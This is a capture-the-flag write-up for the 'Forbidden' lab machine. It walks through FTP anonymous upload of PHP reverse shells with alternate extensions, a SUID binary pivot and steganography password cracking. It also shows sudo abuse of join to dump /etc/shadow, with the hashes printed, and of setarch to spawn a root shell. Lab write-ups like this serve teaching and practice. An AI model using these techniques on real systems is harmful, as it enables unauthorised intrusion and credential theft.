HMV Forbidden
This is a Linux machine with FTP and Web service enabled, which leak web root directory for FTP
configuration mistake. Additionally, it filters out common extensions for PHP, but not all! (I find
php5 could be exploited).
After login with www-data user which is a unprivilege user for web manager, I discover a SUID
hidden program which allow me to pivot to another normal user markos. Then I follow the instructions
on the webpage(/note.txt) to locate a JPG image. Analysis reveal that it contains a hidden
pass.txt file using steganography. Unfortunately, I am wrong from the start - the password is
actually the image's name. Then I successfully privot to user marta, who leaves hints for us on web
page. Finally, I discover a sudo rule which allow me to leverage LOTL(Live on the land) to read
arbitrary files. For get a root shell, then I try to read the ssh key and /etc/shadow of system.
Luckily, the shadow is here for me. After crack it with john. I successfully privot to another user,
there's also a sudo rule for LOTL, but this time, it allow me to spawn a root shell!
Summary
Scope
- Name: Forbidden
- Difficulty: Medium
- OS: Linux
- IP: Local VM
Learned
- There're lots of extensions for a regular PHP file, like (php,php3-5,phtml,pht,phs,etc).
- Sometimes the answer lies right in plain sight, try the most straightforward approach first.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Tue Mar 10 14:22:59 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.1.32 Nmap scan report for forbidden (192.168.1.32) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC) # Nmap done at Tue Mar 10 14:22:59 2026 -- 1 IP address (1 host up) scanned in 0.50 seconds
Detail
The FTP anonymous login is enabled.
# Nmap 7.98 scan initiated Tue Mar 10 14:23:15 2026 as: nmap -sC -sV -O -vv -p21,80 -oN detail 192.168.1.32 Nmap scan report for forbidden (192.168.1.32) Host is up, received arp-response (0.00034s latency). Scanned at 2026-03-10 14:23:15 CST for 8s PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.1.33 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Oct 09 2020 www [NSE: writeable] 80/tcp open http syn-ack ttl 64 nginx 1.14.2 |_http-server-header: nginx/1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=3/10%OT=21%CT=%CU=32718%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69AFB8DB%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S) Uptime guess: 37.689 days (since Sat Jan 31 21:51:02 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Unix Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 10 14:23:23 2026 -- 1 IP address (1 host up) scanned in 8.21 seconds
UDPScan
# Nmap 7.98 scan initiated Tue Mar 10 14:22:49 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.32 Nmap scan report for forbidden (192.168.1.32) Host is up (0.00043s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp 111/udp open|filtered rpcbind 123/udp closed ntp 135/udp closed msrpc 136/udp closed profile 137/udp open|filtered netbios-ns 138/udp closed netbios-dgm 139/udp open|filtered netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp open|filtered microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp closed route 631/udp closed ipp 996/udp open|filtered vsinet 997/udp closed maitrd 998/udp open|filtered puparp 999/udp open|filtered applix 1434/udp open|filtered ms-sql-m 1701/udp closed L2TP 1812/udp open|filtered radius 1900/udp open|filtered upnp 3283/udp open|filtered netassistant 4500/udp open|filtered nat-t-ike 5353/udp open|filtered zeroconf 49152/udp open|filtered unknown 49153/udp open|filtered unknown 49154/udp open|filtered unknown MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC) # Nmap done at Tue Mar 10 14:23:01 2026 -- 1 IP address (1 host up) scanned in 11.63 seconds
FTP
From the detail scan I know that FTP anonymous login is enabled. Then I discover the web root directory leaks there.
❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ ftp [email protected] Connected to 192.168.1.32. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 3 0 113 4096 Oct 09 2020 . drwxr-xr-x 3 0 113 4096 Oct 09 2020 .. drwxrwxrwx 2 0 0 4096 Oct 09 2020 www 226 Directory send OK. ftp> cd www 250 Directory successfully changed. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Oct 09 2020 . drwxr-xr-x 3 0 113 4096 Oct 09 2020 .. -rwxrwxrwx 1 0 0 241 Oct 09 2020 index.html -rwxrwxrwx 1 0 0 75 Oct 09 2020 note.txt -rwxrwxrwx 1 0 0 10 Oct 09 2020 robots.txt 226 Directory send OK.
Web
index.html
<h1>SECURE WEB/FTP<h1> Hi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta
- The backend is made by PHP.
- Couldnot execute php code directly, but there is may a misconfiguration.
- User name marta.
note.txt
The extra-secured .jpg file contains my password but nobody can obtain it.
- The password of user
martais stored with a .jpg file.
Foothold
Since the hint says I can't execute php code directly to get a reverse shell. I get that there're lots of extension for a regular php code and I upload them all via FTP service.
ftp> put php-reverse-shell.php3 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (99.4021 Mbytes/s) ftp> put php-reverse-shell.php4 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (95.6565 Mbytes/s) ftp> put php-reverse-shell.php5 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (70.2580 Mbytes/s) ftp> put php-reverse-shell.phs 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (56.1863 Mbytes/s) ftp> put php-reverse-shell.pht 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (57.7831 Mbytes/s) ftp> put php-reverse-shell.phtml 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5494 bytes sent in 0.0001 seconds (53.4931 Mbytes/s)
I try them one by one. Luckily, the php5 extension is not disabled.
Privilege Escalation
System Information
www-data@forbidden:/$ uname -a
uname -a
Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
www-data@forbidden:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@forbidden:/$ crontab -l
crontab -l
no crontab for www-data
www-data@forbidden:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:0b:92:30 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.32/24 brd 192.168.1.255 scope global dynamic enp0s3
valid_lft 85220sec preferred_lft 85220sec
inet6 2409:8a6c:616:230:a00:27ff:fe0b:9230/64 scope global dynamic mngtmpaddr
valid_lft 86314sec preferred_lft 86314sec
inet6 fe80::a00:27ff:fe0b:9230/64 scope link
valid_lft forever preferred_lft forever
www-data@forbidden:/$ ss -tnlup
ss -tnlup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=398,fd=6))
tcp LISTEN 0 128 [::]:80 [::]:* users:(("nginx",pid=398,fd=7))
tcp LISTEN 0 32 *:21 *:*
www-data@forbidden:/$ find / -mount -perm -u=s 2>/dev/null
find / -mount -perm -u=s 2>/dev/null
/home/marta/.forbidden
/usr/bin/mount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
www-data -> markos
The SUID hidden file which called .forbidden catches my eyes first. I analysis it with IDA, it does
following thing.
int main() {
setuid(1001);
setgid(1001);
system("/bin/bash");
return 0;
}Yeah, I can privot to user 1001 (markos).
markos -> marta
There're no more interesting things I can get from user markos after take a close look at his home.
Then I remember that user marta hint me his password is stored with a jpg file.
markos@forbidden:/home/marta$ find / -type f -name '*.jpg' 2>/dev/null /var/www/html/TOPSECRETIMAGE.jpg
First I strings with it to take a look at strings of that file.
❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ strings -n 7 TOPSECRETIMAGE.jpg
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#,#bH8<rA
,I,*)]bV
|]}ume}}g!
X7\j>/x
P]z->-N5
}Vm2Tk[
VA.Qcla
}KM];XBd
J[iZsKw
rp=8AEX
Z"Y]I$k
;^[_E<v
JV[EeT{h
[;3Ge$p
Gfs21%C
@7r2pAV
?.08<T2
Y5}S\7Z|
Wi,p#7P
umn.>Xarm
=YZ9n5[
The exiftool also give nothing clues, then I wonder if there might be steganography?
❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ stegseek TOPSECRETIMAGE.jpg StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "portugal" [i] Original filename: "pass.zip". [i] Extracting to "TOPSECRETIMAGE.jpg.out".
But the pass.zip also need a password to extract. I crack it with john and get the password secret.
❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 OpenMP threads Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status secret (TOPSECRETIMAGE.jpg.out/pass.txt) 1g 0:00:00:00 DONE (2026-03-10 15:13) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s 123456..dyesebel Use the "--show" option to display all of the cracked passwords reliably Session completed
Unfortunately, none of these passwords are correct for marta. Then I noticed that filename of this image seems somewhat suggestive. Then I successfully login with that password!
markos@forbidden:/home/marta$ su - marta su - marta Password: TOPSECRETIMAGE
marta -> peter
I find a interesting sudo rule there.
marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marta may run the following commands on forbidden:
(ALL : ALL) NOPASSWD: /usr/bin/join
And the GTFBins says it allow me to read arbitrary files. Here I can read out the root.txt directly.
but I want to get a interactive root shell instead. So I try root's ssh key and /etc/shadow. The
former doesn't exist! So I get some hash of users.
marta@forbidden:~$ sudo join -a 2 /dev/null /etc/shadow root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7::: daemon:*:18544:0:99999:7::: bin:*:18544:0:99999:7::: sys:*:18544:0:99999:7::: sync:*:18544:0:99999:7::: games:*:18544:0:99999:7::: man:*:18544:0:99999:7::: lp:*:18544:0:99999:7::: mail:*:18544:0:99999:7::: news:*:18544:0:99999:7::: uucp:*:18544:0:99999:7::: proxy:*:18544:0:99999:7::: www-data:*:18544:0:99999:7::: backup:*:18544:0:99999:7::: list:*:18544:0:99999:7::: irc:*:18544:0:99999:7::: gnats:*:18544:0:99999:7::: nobody:*:18544:0:99999:7::: _apt:*:18544:0:99999:7::: systemd-timesync:*:18544:0:99999:7::: systemd-network:*:18544:0:99999:7::: systemd-resolve:*:18544:0:99999:7::: messagebus:*:18544:0:99999:7::: marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7::: systemd-coredump:!!:18544:::::: ftp:*:18544:0:99999:7::: sshd:*:18544:0:99999:7::: markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7::: peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::
Boom! I get the password of peter with join quickly!
❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hash Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl" Use the "--format=sha512crypt-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 16 OpenMP threads Note: Passwords longer than 26 [worst case UTF-8] to 79 [ASCII] rejected Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status boomer (peter) Use the "--show" option to display all of the cracked passwords reliably Session aborted
setarch -> root shell
There is also a sudo rule for exploiting.
peter@forbidden:~$ sudo -l
Matching Defaults entries for peter on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on forbidden:
(ALL : ALL) NOPASSWD: /usr/bin/setarch
Follow the LOTL of setarch will get a root shell!
peter@forbidden:~$ sudo setarch -3 /bin/bash sudo setarch -3 /bin/bash root@forbidden:/home/peter# id id uid=0(root) gid=0(root) groups=0(root)